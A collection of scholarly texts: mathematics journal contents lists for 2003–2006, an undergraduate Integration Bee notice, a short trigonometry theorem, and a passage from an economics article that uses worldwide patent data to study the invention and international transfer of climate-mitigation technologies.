Sr. No. Author Title of the Paper Pages 16. R. Y. Denis, S. N. Singh and S. P. Singh On Certain Elliptic Integrals of Ramanujan 113 - 119 17. R. P. Pant Fixed Point Theorems and Divisibility of Polynomials 121-130 18. K. R. Vasuki On some of Ramanujan's P-Q Modular Equations 131-143 19. Hongmei Liu and Tianming Wang Some New Rogers - Ramanujan Type Identities 145-151 20. Akhilesh Prasad Pseudo Differential Operator Involving Hankel Translation and Hankel Convolution of some Gevrey Spaces 153-165 21. Satish Bhatnagar The Algebra Ap(I,X) with Order Convolution and its multipliers 167-176 22. S. S. Bhooshnurmath and Anupama J. Patil Exceptional Values of Meromorphic Functions and their Differential Polynomials 177-198 23. Satya Deo and J. K. Maitra Hilbert series of Free Spline Modules 53-64 24. Sejal Shah and T. K. Das On Absolutes of Nearly Hausdorff Speces 213-219 25. A. K. Singh and U. C. Gupta On Sasakian Concircular Recurrent Spaces of Second Order 221-226 26. Anil Kumar Pathak A Birkhoff Interpolation Problem on the Unit Circle in the Complex Plane 227-233 27. R. S. Pathak and C. P. Pandey The Wavelet Transform in a Generalized Sobolev Spaces 235-247 28. R. D. Giri and P. B. Bahatkar Three Theorems on Commutativity of s-Unital Rings 249-256
CONTENT of the Journal of the Indian Math. Soc. Vol. 73, Nos. 1 - 2 (2006):
Sr. No. Author Title of the Paper Pages 1. M. S. N. Murty and B. V. Apparao Two point Boundary Value Problems for Matrix Differential Equations 01 - 07 2. Z. Husain Mixed Symmetric Duality for Nonlinear Programs with Invexity 09-15 3. Sarjoo Prasad Yadav Approximation of some Lebesgue Functions by Wavelets 17-23 4. R. G. Vyas Order of Magnitudes of Fourier Coefficients of Functions of ABV(p) and phiABV 25-30 5. Deshna Loonkar and P. K. Banerji Plancherel Theorem for Wavelet Transform for Vector valued Functions and Boehmians 31-39 6. P. Dheena and D. Shivkumar BL-Regular Near Rings 41-45 7. D. R. K. Reddy and R. Lakshun Naidu A Plane Symmetric Zeldovich Universe in Lyra Manifold 47-51 8. S. B. Gaikwad and M. S. Choudhary Fractional Fourier Transforms of Ultra Boehmians 53-64 9. Vyomesh Pant Common fixed points of R-Weakly Commuting Maps of Type (Ag) 65-70 10. R. K. Yadav and Balraj Singh On the q-Bedient's Polynomials and their Generating Relations 71-76 11. Vakeel A. Khan Some Illusion Relations between the sequence spaces defined by sequence of Moduli 77-81 12. P. K. Banerji and S. K. Q. Al-Omari Distributional Generalized Convolution Transform of Compact Support 83-87 13. R. P. Pant Dynamics of Functions and Divisibility of Polynomials 89-96 14. V. Karunakaran and K. Bhuwaneswari Distortion of Lengths under Conformal Maps 97-105 15. Deshna Loonkar, P. K. Banerji and S.M. Tripathi Distributional Mellin Transform for Cauchy Integral Equation 107-111
CONTENT of the Journal of the Indian Math. Soc. Vol. 72, Nos. 1 - 4 (2005):
Sr. No. Author Title of the Paper Pages 1. Hisatoshi Ikai On Lipschitz’ Lifting of the Cayley Transform 1 - 12 2. K. Ramachandra, A. Sankaranarayanan and K. Srinivas Notes on Prime Number Theorem-II 13 - 18 3. S.V.R. Naidu Fixed Point Theorems for Sequences of Self-maps on a Metric Space by Altering Distances 19 - 41 4. Chi-Ming Chen G-KKM Theorem on Non-convex Sets and Its applications 43-51 5. S.K. Nimbhorkar and M.P. Wasadikar n-Normal Join-semilattices 53-57 6. R. Roopkumar Multiplication of Boehmians 59-66 7. Sudarsan Nanda Convexity and Generalized Convexity of Composite Functions 67-74 8. Satya Deo and Veerendra Vikram Awasthi Strongly Contractible Polyhedra Which Are Not Simply Contractible at n Points for Any n=2 75-82 9. Ruchi Das On G-Expansive Homeomorphisms and generators 83-89 10. Ekta Shah Positively Expansive Maps on G-Spaces 91-97 11. S. Arumugam and J. Suresh Suseela Geodesic Graphoidal Covering Number of a Graph 99-106 12. J.K. Kohli and Sachin Vashistha A Common Fixed Point Theorem in Metric Spaces 107-114 13. S. Bhargava, K.R. Vasuki and B. R. Srivatsa Kumar Evaluations of Ramanujan-Weber Class Invariant gn* 115-127 14. Arti Bansal and Nidhi Bansal Note on a Paper of Sharma and Kumar 129-130 15. Renu Chugh and Savita Rathi Weakly Compatible Maps in Probabilistic Metric Spaces 131-140 16. V. K. Jain Certain Sharp Inequalities for Polynomials 141-145 17. A. Chattopadhyay, S. Das, V.K. Jain and H. Konwar Certain Generalizations of Enestom-Kakeya Theorem 147-156 18. P. Dheena and D. Sivakumar Nc-Pure Regular Near-Rings 157-161 19. Talky Bhattacharjee Group-theoretic Origins of Some Generating Functions for LDx(z) 163-181 20. Ayten Pekin and Hulya Is Can Continued Fractions of Period Six and Explicit Representations of Fundamental Units of Some Real Quadratic Fields. 183-194 21. S. S. Khare On Bounding and Independence of Wall Manifolds 195-201 22. D.R. Sahu, M. Imdadi and Santosh Kumar Fixed Point Iteration Process for Nonlipschitzian Nearly Nonexpansive Mappings 203-210 23. Sanjay Kumar and Nand Lal Polynomial Compactness of Derivations of the form “Normal Plus Compact” 211-220 24. Nand Lal and Gyan Prakash Tripathi Composition Operators on l2 of the form “Normal Plus Compact” 221-226 25. G. M. Deheri l(P;IN)-Nuclear Spaces and Nuclear Spaces with Bases and Their Topological Identification with Kothe Spaces 227-239 26. R.P. Pant A Comparison of Contractive Definitions 241-249
CONTENT of the Journal of the Indian Math. Soc. Vol. 71, Nos. 1 - 4 (2004):
Sr. No. Author Title of the Paper Pages 1. J. Dikshit Pal-type Interpolation on Nonuniformly Distributed Points 1 - 12 2. N.K. Thakare, M.M. Pawar and B.N. Waphare Modular Pairs, Standard Elements, Neutral Elements and Related Results in Partially Order Sets 13 - 53 3. C.S. Manjarekar and Nitin S. Chavan An Element Primary to Another Element 55 - 60 4. P.K. Banerji, M.G. Binsaad and F.B.F. Mohsen Application of N-fractional Calculus to Obtain Generating Functions 61-68 5. V. K. Jain Refinements of Certain Results on Location of Zeros of Polynomials 69-76 6. B.I. Dave and Manisha Dalbhide q-Analogue of an Extended Jacobi Polynomail and Its Properties 77-84 7. Manprit Kaur and Arun Kumar Complex Cubic Spline Interpolation 85 - 92 8. G.M. Deheri Lemda one alpha x bases and Lemda one alpha nuclearity 93-102 9. Vyomesh Pant and K. Jha On Discontinuity and Fixed Points 103 - 107 10. Remy Y. Denis, S.N. Singh and S.P. Singh Certain Transformations Involving Poly-basic Hypergeometric Series 109-117 11. T. Tamizh Chelvam and N. Meenakumari B-regular gamma-Near-rings and Bi-ideals 119-124 12. Nandlal and Pradeep Kumar Spectrum of Certain unbounded Composition Transformations in el 2 125-129 13. G. Murugusundarammoorthy and K. Vijaya On Certain Subclass of Starlike Functions with Two Fixed Points 131-139 14. J. K. Srivastava Kothe-Toeplitz and Topological Dueals of Spaces of Strongly Summable Vector Sequences 141-152 15. S. V. R. Naidu Fixed Point Theorems for Four Self-maps on a Metric Space by Altering Distances 153-173 16. N. Parhi and R.N. Rath Oscillation of Solutions of a Class of First Order Neutral Differential Equations 175-188 17. D. R. K. Reddy On Einstein-Rosen Vacuum in a Scalar-Tensor Theory of Gravitation 189-193 18. Vivek Sahai and Shalini Srivastava On Models of Lie Algebra G(0,1) and Euler Integral Transformation 195-205 19. N.S. Bhave and C.M. Deshpande Range of Diameters of a Bipartite Graph and Its Generalized 2-Partite Internal Complement 207-219 20. B. Janakiram, N.D. Soner and M.A. Davis Complementary Acyclic Domination in Graphs 221-226 21. Sudarsan Nanda Almost Continuity and Almost Compactness 227-232 22. S.B. Joshi and P.K. Banerji Inequalities for Multivalent Functions Defined by Ruscheweyh Derivative 233-237 23. R.P. Pant Non-expansive Mappings and Meir-Keller Type Conditions 239-244 24. Mamta Das On Toeplitz-like Operators in El eh 2 245-252
CONTENT of the Journal of the Indian Math. Soc. Vol. 70, Nos. 1 - 4 (2003):
Sr. No. Author Title of the Paper Pages 1. D.V. Pai On Well-Posedness of Some Problems in Approximation 1 - 16 2. A.K. Agarwal An Extension of Euler’s Theorem 17-24 3. P.K. Banerji and G.M. Shenan Applications of Fractional Derivative to Study the Mapping Properties of Starlike Functions and the Convexity of Analytic Functions-II 25-32 4. Feng-Zhen Zhao and Tianming Wang Notes on Some Rogers-Ramanujan Type Identities 33-39 5. S.S. Rana, Y.P. Dubey a nd P. Gupta Convergence of Deficient Quintic Spline Interpolation 41-48 6. Hasan Kara and Vatan Karakaya On Some New Sequence Spaces Involving Invariant Means 49-55 7. R.P. Pant, K. Jha and A.B. Lohani Generalization of a Meir-Keeler Type Fixed Point Theorem 57-65 8. Stevo Stevic A Note on Isolation Amongst the Composition Operators of the Generalized Weighted Bergman Spaces 67-71 9. Vivek Sahai and Shalini Srivastava On Models of q-representations of sl (2,C) and q-Euler Integral Transformation 73-85 10. K.R. Vasuki and K. Shivashankara Some New Values for the Rogers-Ramanujan Continued Fraction 87-95 11. M. Imdad and Santosh Kumar Common Fixed Point Theorems for Four Nonself-Mappings 97-109 12. N.D. Chakraborty, M. Sahu and B. Sen Pettis-type Spaces for a Bounded Family of Measures. 111-119 13. M.S. Mahadeva Naika P-Q Eta-function Identities and Computation of Ramanujan-Weber Class Invariants 121-134 14. R.P. Pant Fixed Point Theorems and Dynamics of Functions 135-143 15. R.S. Pathak and S.M. Tripathi A Class of Pseudo-Differential Opeators Involving Hankel Convolutions 145-156 16. R.P. Pant, Vyomesh Pant and A.B. Lohani Reciprocal Continuity and Common Fixed Points 157-167 17. Renu Chugh and Sanjay Kumar Minimal Commutativity and Common Fixed Pointa 169-177 18. V.K. Jain On Maximum Modulus of Polynomials with Zeros in the Closed Exterior of a Circle 179-183 19. Renu Chugh and Savita Common Fixed Points of Four R-Weakly Commuting Mappings 185-189 20. N.D. Soner, B. Chaluvaraju and B. Janakiram The Double Global Domination Number of a Graph 191-195 21. P. Dheena and K. Karthy On Regular Iaminated Near-Rings 197-201 22. S.S. Pujar A Note on Lorenzian Para Sasakian Manifolds with an LP Contact non-Metric Quarter Symmetric-Connection 203-207 23. V.K. Jain On the Zeros of a Polynomial 209-213 24. Stevo Stevic Composition Operators on the Generalized Bergman Space 215-219 25. Taddesse Zegeye and S.C. Arora Spectrum of the Compression of a Slant Toeplitz Operator 221-228 26. N.K. Thakare, S. Maeda and B.N. Waphare Modular Pairs, Covering Property and Related Results in Posets 229-253 27. Vishnu Gupta Commutativity of Rings Satisfying a Polynomial Identity 255-256
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## An Integration Celebration for UD Undergraduates
##### $$\left(\int_0^{1808} \frac{2x}{x^2+1}\ dx\right)^{\textrm{th}}$$ Annual Integration Bee
The competition is being held in conjunction with the 28th Annual Bro. Joseph Stander Symposium at 1:00 pm on April 5, 2017 in Chudd Auditorium (SC 255). Lunch is included and will be served at 12 noon in the Science Center Atrium.
An Integration Bee is a competition similar to a Spelling Bee, but better. Instead of simply spelling words, competitors solve problems from integral calculus. Since spelling is easier than calculus, this is a competition for teams of up to three people. Prizes will be awarded to the top three teams in the competition. In addition, a prize will be given to the most creative (family friendly) team name.
Registration for this year's Bee is now closed. We hope to see you at the 2018 Bee!
Financial support is provided by Department of Mathematics Alumni.
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Sine of Multiple of Pi
Theorem
Let $x \in \R$ be a real number.
Let $\sin x$ be the sine of $x$.
Then:
$\forall n \in \Z: \sin n \pi = 0$
Proof
This is established in Zeroes of Sine and Cosine.
$\blacksquare$
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# Tag Info
I have some doubts now that $$S_m := \sum_{x \in E} \chi(f_m(x)) = 0$$ whenever $(m, q-1) = 1$ in general, but nevertheless here are some calculations that might be of help in certain cases. For now let $m$ be any integer. Clearly for any $k \in E^*$, $x \mapsto kx$ is a permutation of $E$. Let $e(z) := e^{2\pi \sqrt{-1}z}$. Thus \begin{align} (p-1) S_m ...
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## Abstract
This article uses the European Patent Office Worldwide Patent Statistical Database to examine the geographic distribution and global diffusion of inventions in thirteen climate-mitigation technologies since 1978. The data suggest that until 1990 innovation was driven mostly by energy prices. Since then, environmental policies, and, more recently, climate policies, have accelerated the pace of innovation. The data also indicate that innovation is highly concentrated in three countries—Japan, Germany, and the United States—which together account for 60 percent of total inventions. Surprisingly, the contribution of emerging economies is far from negligible as China and Brazil together account for about 10 percent of total inventions. However, inventions from emerging economies are less likely to find markets beyond their borders, suggesting that inventions from emerging economies have less value. More generally, international transfers occur mostly between developed countries (73 percent of all exported inventions). Exports from developed countries to emerging economies are still limited (22 percent) but are growing rapidly, especially to China.
## Introduction
Accelerating the development of new low-carbon technologies and promoting their global application are key challenges for stabilizing atmospheric greenhouse gas (GHG) emissions. Consequently, technology is at the core of current discussions surrounding the post-Kyoto climate regime. The 2007 Bali Road Map1 cites technology development and diffusion as strategic objectives, which has triggered a debate about appropriate policies.
This debate is complicated by a number of factors. In particular, environmentally friendly technologies have been developed primarily in industrialized countries but are urgently required to mitigate GHG emissions in fast-growing emerging economies. Ensuring the global diffusion of these technologies thus entails considerable policy and economic challenges because developing countries are reluctant to bear all the financial costs associated with their adoption, while firms in industrialized countries are reluctant to give away strategic intellectual assets. The role of intellectual property rights (IPR) is particularly controversial. Developing countries2 have argued for the creation of a different IPR regime for climate-friendly technologies in order to encourage diffusion, whereas industrialized countries claim that the incentives provided by existing IPR regimes reinforce diffusion incentives by ensuring patent holders the benefits that result from their inventions.3
The challenge of technology diffusion on a global scale is also compounded by a lack of information. There is neither a clear and widely accepted definition of what constitutes a “climate change–mitigation technology” nor a widespread understanding of how such technologies are diffused globally.
This article, which is part of a two-article symposium on Technology Transfer and Climate Policy, seeks to inform the debate with factual evidence on the geographic distribution and global diffusion of climate-mitigation inventions.4 Using data from the European Patent Office (EPO) Worldwide Patent Statistical Database (PATSTAT), we examine patented inventions in thirteen technology areas with significant global GHG emission abatement potential and analyze their international transfer between 1978 and 2005. We use counts of patent applications to measure technological innovation in the different areas.5 Although patents do not provide a measure of all innovation, they are a good proxy for innovative activity and allow us to make cross-country comparisons.
Most previous studies have used data from a small number of patent offices (usually one). The data and analysis presented here go well beyond these studies because the PATSTAT data contain patents from eighty-four national and international patent offices, including patents filed in developing countries. This allows us to conduct a global analysis of innovative activity and to gain insights about international technology transfer. Moreover, we have developed a methodology that makes it possible to construct indicators that can be used to make absolute cross-country comparisons.
To the best of our knowledge, this is the first study that uses patent data to quantitatively describe the geographic distribution and temporal trend of invention and diffusion of climate change–mitigation technologies at the global level. Lanjouw and Mody (1996), which focuses on patents for environmentally-responsive technology in Japan, Europe, the United States, and fourteen developing countries, is the study most closely related to our work. These authors identify the leaders in environmental patenting and find that significant transfers to developing countries occur. However, our analysis focuses more specifically on climate-change mitigation, uses more recent data, and covers more countries.
We seek to address the following key questions. In which countries does climate-friendly innovation take place? What is the specific contribution of innovators located in emerging economies? To what extent is technology being transferred to developing countries? Is climate-mitigation innovation different from other technology areas? Whenever possible, we also try to assess the impact of climate and environmental policies on invention and technology diffusion.
The remainder of this article is organized as follows. The next section introduces key concepts and discusses the use of patents as indicators of technological innovation and technology transfer. This is followed by a description of our dataset and a discussion of data issues. We present our analytical results in the next two sections. We first use the data to examine global innovative activity in the thirteen climate-mitigation fields and across countries between 1978 and 2005. We then analyze the international transfer of these inventions and relate our findings to the general literature on patents and technology diffusion. The final section summarizes the findings and presents some conclusions.
## Patents as Indicators of Innovation and Technology Transfer
There are a number of ways to measure technological innovation (see Organization for Economic Cooperation and Development [OECD] 2008a). Research and development (R&D) expenditures or the number of scientific personnel in different sectors are the most commonly used measures. Although such indicators reflect important elements of the innovation system, they have a number of disadvantages. For example, data on private R&D expenditures are generally incomplete and available only at an aggregate level. Moreover, these data measure inputs to the innovation process, whereas an “output” measure is generally preferable.
Patent data have several advantages over R&D expenditures and numbers of scientific personnel. First, patent data focus on outputs of the innovation process (Griliches 1990) and provide a wealth of information on both the nature of the invention and the applicant. More importantly, patent data can be disaggregated into specific technological areas. Finally, patent data provide information about not only the countries where these new technologies are developed but also where they are used.6
In recent years, an increasing number of studies have used patent data to analyze innovation and international technology diffusion, particularly in the environmental field. These studies have usually relied on patent data from OECD countries, especially the United States. For example, Popp (2006) uses patent data from Japan, the United States, and Germany to examine the invention and diffusion of air pollution control devices for coal-fired power plants. Johnstone, Haščič, and Popp (2010) analyze the effects of policy and market factors on the development of renewable energy technologies in OECD member countries.
### The Patent System
Before describing the indicators used in this and other studies, we briefly review how the patent system works. Consider a simplified innovation process. In the first stage, an inventor from a particular country discovers a new technology. He then decides where to market his invention and how to protect the intellectual property associated with the invention. A patent in country i grants him the exclusive right to commercially exploit the invention in that country. Accordingly, he will patent his invention in country i if he plans to market it there. The set of patents related to the same invention is called a patent family. The vast majority of families include only one country (often the home country of the inventor, particularly for large countries). When a patent is filed in several countries, the first filing date worldwide is called the priority date.7
### Patent Indicators and Their Limitations
In this study, patents are sorted by priority year. We use the number of families as an indicator of the number of inventions. The number of technologies invented in country A and patented in country B is used as an indicator of the number of inventions transferred from country A to country B. This approach has also been used by Lanjouw and Mody (1996) and Eaton and Kortum (1999). Other studies have used a slightly different indicator based on patent citations (e.g., see Jaffe, Trajtenberg, and Henderson 1993; Peri 2005; Thompson and Fox-Kean 2005). More specifically, these studies count the number of citations of the patented invention from country A in subsequent patents filed in country B. This approach measures knowledge externalities—that is, knowledge that spills over to other inventors. Our indicator differs in that it measures market-driven technology transfer.
Patent-based indicators are imperfect proxies for technological innovation and technology transfer and have several limitations. First, patents are only one of the means of protecting inventions, along with lead time, industrial secrecy, or purposely complex specifications (Cohen, Nelson, and Walsh 2000; Frietsch and Schmoch 2006). In particular, some inventors may prefer secrecy to prevent public disclosure of the invention imposed by patent law or to save the significant fees attached to patent filing. However, there are very few examples of economically significant inventions that have not been patented (Dernis, Guellec, and van Pottelsberghe de la Potterie 2001).
Second, the propensity to patent differs between sectors, depending on the nature of the technology (Cohen, Nelson, and Walsh 2000). It also depends on the risk of imitation in a country. Accordingly, inventions are more likely to be patented in countries with technological capabilities and a strict enforcement of IPR. This means that greater patenting activity could reflect either greater inventive activity or a greater propensity to file patents. Our methodology, which measures patenting activity in various countries using a common unit, partly controls for this problem.
Another limitation is that while a patent grants the exclusive right to use a technology in a given country, it does not mean that the patent owner will actually exercise this right. This could significantly bias the results if applying for patent protection is free, as this might encourage inventors to patent widely and indiscriminately. However, patenting is costly—in terms of both the costs of preparing the application and the administrative costs and fees associated with the approval procedure.8 In addition, possessing a patent in a country may not be in the inventor's interest if that country's enforcement of intellectual property is weak, since publication of the patent can increase the risk of imitation (see Eaton and Kortum 1996, 1999). Finally, patent infringement litigation usually takes place in the country where the technology is commercialized (as this is where the alleged infringement occurs). Thus, inventors are unlikely to be willing to incur the cost of patent protection in a country unless they expect there to be a market for the technology concerned.
However, the fact remains that the value of individual patents is heterogeneous. Moreover, because many patents have very low value, the distribution is skewed, and as a consequence, the absolute number of patents does not perfectly reflect the value of technological innovation. Methods have been developed to address this issue (see Lanjouw, Pakes, and Putnam 1998), such as using weights based on the number of times a given patent is cited in subsequent patents. Unfortunately, our data do not allow us to implement these methods. Instead, in addition to presenting data on the number of inventions, we use data on international patent families to construct statistics for “high-value inventions.”
## The Data
The first efforts to develop a large patent database that would be suitable for statistical analysis were initiated by the OECD Directorate for Science, Technology, and Industry in cooperation with other members of the OECD Patent Statistics Taskforce.9 Subsequent efforts were directed toward developing a worldwide patent database. The EPO took over responsibility for the development and production of the database, with the first version distributed in April 2006. The database has since become known as the EPO PATSTAT.
PATSTAT is unique in that it covers more than eighty patent offices and contains over sixty million patent documents. It is updated biannually. Patent documents are categorized using the international patent classification (IPC) codes, developed by the World Intellectual Property Organization (WIPO), and some national classification systems. In addition to basic bibliometric and legal data, the database also includes patent descriptions (i.e., abstracts) and citation data for some offices.
### Technologies and Patent Applications
We considered thirteen climate-mitigation technologies10: seven renewable energy technologies (wind, solar, geothermal, marine energy, hydropower, biomass, and waste to energy), methane destruction, climate-friendly cement, thermal insulation in buildings, heating, electric and hybrid vehicles, and energy-efficient lighting.11 Although we include a wide range of climate-mitigation technologies, a number of important technologies have been omitted due to data constraints. These include energy efficiency improvements in industry, aspects of “clean” coal technologies, and energy storage. Nevertheless, the technologies included in our dataset represent nearly 50 percent of all GHG abatement opportunities (excluding forestry) beyond business as usual until 2030, as identified by Enkvist, Nauclér, and Rosander (2007).
To build the dataset, we extracted all patent applications filed from 1978 to 2005 in the thirteen climate-mitigation technology fields. Patent applications related to these fields were identified using IPC codes.12 The IPC codes corresponding to the climate-mitigation technologies were identified in two ways. First, we searched the descriptions of the IPC codes online to identify those relevant to our study.13 Second, using ESP@CENET, an online patent search engine maintained by the EPO,14 we reviewed patent titles and abstracts to identify relevant keywords. The IPC codes corresponding to the patents that resulted from our search were included, provided that the definition of an IPC code confirmed its relevance.15
The resulting dataset contains 285,770 patent applications filed in seventy-six countries. On average, the climate-related patents included in our dataset represent 1 percent of the total number of patents filed annually worldwide. The number of patent applications in each technology field is presented in the online supplementary materials for this article. The PATSTAT includes the country of residence of the inventors of those technologies for which patent protection is sought (independent of the country in which the applications are actually filed). This information is used to measure a country's innovation performance.16
### Data Issues
Two types of error may arise when building this type of dataset: Irrelevant patents may be included or relevant ones left out. The first error occurs if a selected IPC code covers patents that are not related to climate mitigation. In order to avoid this problem, we carefully examined a sample of patent titles for every IPC code considered for inclusion in the dataset and excluded those codes that contain patents not related to climate mitigation. This is why some key technologies with carbon reduction potential were excluded from the study (e.g., energy-efficient technologies in industry, certain “clean” coal technologies, energy storage).
The second potential error—exclusion of relevant inventions—is less problematic. We can reasonably assume that all innovation in a given field follows a similar trend. Hence, at the worst, our dataset can be seen as being a good proxy of innovative activity in the technology fields considered. However, because of the conservative approach we adopted when constructing the data, overall innovative activity may be underestimated, and the datasets in each technology field are unlikely to be equally inclusive. Therefore, estimates of the absolute volume of innovative activity may be less reliable than estimated differences in temporal trends. For this reason, cross-technology comparisons throughout the article are based only on trends.
One data issue specifically concerns patents filed in the United States, where until 2000 published data concerned only granted patents, while offices in other countries have consistently provided data on applications. A final data issue is that the inventor's country of residence is not available for some patent applications. A more detailed description of these two issues and how we addressed them is presented in the online supplementary materials.
## Innovation Activity Worldwide
This section discusses the level of innovation across countries and the evolution of innovation over the period 1978–2005.
### The Geography of Innovation
Where does innovation take place?19 As shown in Table 1, innovation appears to be highly concentrated: The top twelve countries account for nearly 90 percent of all inventions between 2000 and 2005. Japan, the United States, and Germany are the three top inventor countries for most technologies. With 37 percent of the world's inventions, Japan's performance is particularly impressive. Japan ranks first in all technology fields, except for marine energy, where it is second, and accounts for over 50 percent of the world's inventions in electric and hybrid, waste, and lighting.20
Table 1
Top twelve inventor countries (2000–2005)
Country Rank Average % of world inventions Average % of world's high-value inventions Country's top three technology fields (decreasing order) Japan 1 37.1 17.4 (2) All technologies United States 2 11.8 13.1 (3) Biomass, insulation, solar Germany† 3 10.0 22.2 (1) Wind, solar, geothermal China 4 8.1 2.3 (10) Cement, geothermal, solar South Korea 5 6.4 4.4 (6) Lighting, heating, waste Russia 6 2.8 0.3 (26) Cement, hydro, wind Australia 7 2.5 0.9 (19) Marine, insulation, hydro France† 8 2.5 5.8 (4) Cement, electric and hybrid, insulation United Kingdom† 9 2.0 5.2 (5) Marine, hydro, wind Canada 10 1.7 3.3 (8) Hydro, biomass, wind Brazil 11 1.2 0.2 (31) Biomass, hydro, marine The Netherlands† 12 1.1 2.1 (12) Lighting, geothermal, marine Total — 87.2 77.2
Country Rank Average % of world inventions Average % of world's high-value inventions Country's top three technology fields (decreasing order) Japan 1 37.1 17.4 (2) All technologies United States 2 11.8 13.1 (3) Biomass, insulation, solar Germany† 3 10.0 22.2 (1) Wind, solar, geothermal China 4 8.1 2.3 (10) Cement, geothermal, solar South Korea 5 6.4 4.4 (6) Lighting, heating, waste Russia 6 2.8 0.3 (26) Cement, hydro, wind Australia 7 2.5 0.9 (19) Marine, insulation, hydro France† 8 2.5 5.8 (4) Cement, electric and hybrid, insulation United Kingdom† 9 2.0 5.2 (5) Marine, hydro, wind Canada 10 1.7 3.3 (8) Hydro, biomass, wind Brazil 11 1.2 0.2 (31) Biomass, hydro, marine The Netherlands† 12 1.1 2.1 (12) Lighting, geothermal, marine Total — 87.2 77.2
Source: Authors’ calculations, based on PATSTAT data.
aTogether, the twenty-seven countries of the European Union (EU27) represent 24% of the world's inventions.
bHigh-value inventions are defined as inventions that have been patented in at least two countries.
These findings are consistent with the available evidence on R&D activity. Although detailed data on private R&D are not available, the data on public R&D for low-carbon technologies confirm the strong leadership of Japan, which in 2004 spent $US 220 million, significantly more than public R&D spending in the same year by the United States ($US 70 million) and the EU1521 (\$US 50 million) combined (Lazarus and Kartha 2007).
Interestingly, the world's top three inventor countries are followed by China, South Korea, and Russia. These countries are important sources of innovation in fields such as cement (China and Russia), geothermal (China), and lighting (South Korea). Another emerging economy, Brazil, also ranks among the top twelve countries. However, other emerging economies lag far behind, with Taiwan, India, and Mexico ranked 21, 27, and 29, respectively.
### The Quality of Innovation
The rankings in Table 1 are based on patent counts, which do not take into account the quality of the individual inventions generated in different countries. This could pose a problem, as it is well established that the economic value of individual patents varies greatly. In particular, it has been demonstrated that the value of a patent is correlated with the number of countries in which it is filed (Lanjouw, Pakes, and Putnam 1998; Harhoff, Scherer, and Vopel 2003). Thus, we refer to those inventions with patents filed in several countries as high-value inventions.
The fourth column of Table 1 presents each country's share of the world's high-value inventions (i.e., those that are patented internationally) and thus offers a rough indicator of innovation quality.22 Using this indicator changes the rankings significantly. With 22.2 percent of the world's high-value inventions, Germany becomes the leader, while Japan falls to third place, with about 17 percent. Moreover, the performance of the emerging economies—in particular China and Russia—becomes far less impressive. They innovate, but their inventions are of relatively minor economic value.23 This is consistent with previous findings by Lanjouw and Mody (1996).
### The Evolution of Climate-mitigation Innovation
Figure 1 presents the evolution of climate-mitigation innovation worldwide since 1978. Because the growth of innovation in environmental technologies could reflect a general growth of innovation in all technologies (including nonenvironmental ones), Figure 1 indicates climate-mitigation inventions as a share of inventions in all technology areas. The evolution of the price of oil over the same time period is also presented, since the incentives for innovation related to climate-change mitigation are likely to be influenced by energy prices.
Figure 1
Climate-mitigation innovation and oil prices.
Source: Authors' calculations, based on PATSTAT data, and BP Statistical Review of World Energy June 2009.
Figure 1
Climate-mitigation innovation and oil prices.
Source: Authors' calculations, based on PATSTAT data, and BP Statistical Review of World Energy June 2009.
#### Oil Prices and Innovation
Figure 1 appears to indicate that trends in climate-mitigation innovation follow oil price trends. However, a close examination of the data and the figure reveals two distinct time periods. Until 1990, innovation and oil prices closely mirror each other: In particular, the 1980 peak in innovation coincides with the second oil price shock. After 1980, innovation and oil prices both decline and then stagnate until 1990. It may be surprising that innovators respond so quickly to changes in energy prices, but this apparently rapid response has been well documented in previous research (e.g., Newell, Jaffe, and Stavins 1999; Popp 2002). One explanation for this phenomenon is that many patents cover inventions that have already been developed (and are “on the shelf”) but are not yet profitable. The new, more profitable market conditions simply make it worthwhile to legally protect them.
The second distinct time period starts in 1990 and is characterized by an apparent decoupling of innovation and oil prices.24 While innovation steadily increases during the 1990s, oil prices remain relatively stable until 2003. Innovation rises sharply after 2000, at an average annual growth rate of 9 percent between 2000 and 2005. This suggests that environmental policies and climate policies have had a significant impact on climate-mitigation innovation since the beginning of the 1990s. The post-2000 acceleration could be interpreted as the innovators’ response to the signing of the Kyoto Protocol in 1997 and the subsequent implementation of climate policies in ratifying countries.
#### Policy Impacts
It is difficult to draw firm conclusions about the role of policy drivers after 1990 based solely on aggregate statistics. To further assess the role of policy drivers, Table 2 presents the annual growth rate of innovation for different climate change–mitigation technologies in two time periods: before and after the acceleration in the pace of innovation observed around 2000. We have aggregated renewable energy technologies, as we assume they are driven by the same policy regimes.
Table 2
Average annual growth rates of innovation for different technologies
Technology 1990–1999 (%) 2000–2005 (%) Lighting 7.6 15.9 Renewable energy 1.8 8.0 Heating 1.0 7.7 Cement −1.3 5.2 Electric and hybrid 13.9 7.8 Methane 4.0 1.7 Waste 13.8 −7.3 Insulation 6.4 −1.0
Technology 1990–1999 (%) 2000–2005 (%) Lighting 7.6 15.9 Renewable energy 1.8 8.0 Heating 1.0 7.7 Cement −1.3 5.2 Electric and hybrid 13.9 7.8 Methane 4.0 1.7 Waste 13.8 −7.3 Insulation 6.4 −1.0
Source: Authors’ calculations, based on PATSTAT data.
Recall that there has been an increasing trend in innovation that accelerates in 2000. This trend is driven by the subset of technologies in the top part of the table: lighting, renewable energy, heating, and cement. The bottom part of the table identifies four technologies—electric and hybrid, methane, waste, and insulation—which do not follow the general trend, as the growth in innovation concerning these technologies occurs mainly before 2000 (i.e., before the implementation of significant climate policies in certain Kyoto Protocol Annex I countries25). The growth in innovation before 2000 is likely a consequence of other, earlier environmental policies. For instance, at the beginning of the 1990s, the European Union and Japan implemented new waste policies, which reinforced regulatory standards for waste disposal. As a result, many new incinerators replaced those that were obsolete and many landfills were retrofitted. This probably explains the surge of innovation in the 1990s in technologies to produce heat from waste or to collect methane. Similarly, in 1991, Japan's Ministry of Economy, Trade, and Industry issued an aggressive market expansion plan for electric and hybrid vehicles, which was further reinforced in 1997 (Ahman 2006). In California, the Zero-Emission Vehicle (“ZEV”) Mandate was passed in 1991, with the objective of increasing the percentage of ZEVs sold in California. These policies help explain the strong growth in electric and hybrid vehicle innovation observed in the 1990s.
#### Country-specific Trends and Policies
An examination of individual countries also provides some interesting insights about the evolution of climate-mitigation technological innovation and the role of public policy. Figure 2 presents the evolution of climate-mitigation inventions in Annex I countries that have ratified the Kyoto Protocol, the United States, and China. The differences across countries are striking: While climate-mitigation technological innovation has steadily increased since the beginning of the 1990s in countries that have committed themselves to carbon emission reductions, rates of innovation in the United States have remained relatively stable since the late 1980s. Climate-mitigation innovation trends in the United States seem to more closely follow oil prices, suggesting that environmental and climate policies have had a limited impact.
Figure 2
Climate-mitigation innovation (as a share of total innovation) in Kyoto-ratifying countries, United States, and China.
Source: Authors' calculations, based on PATSTAT data.
Note: Chinese patent data not available before 1985.
Figure 2
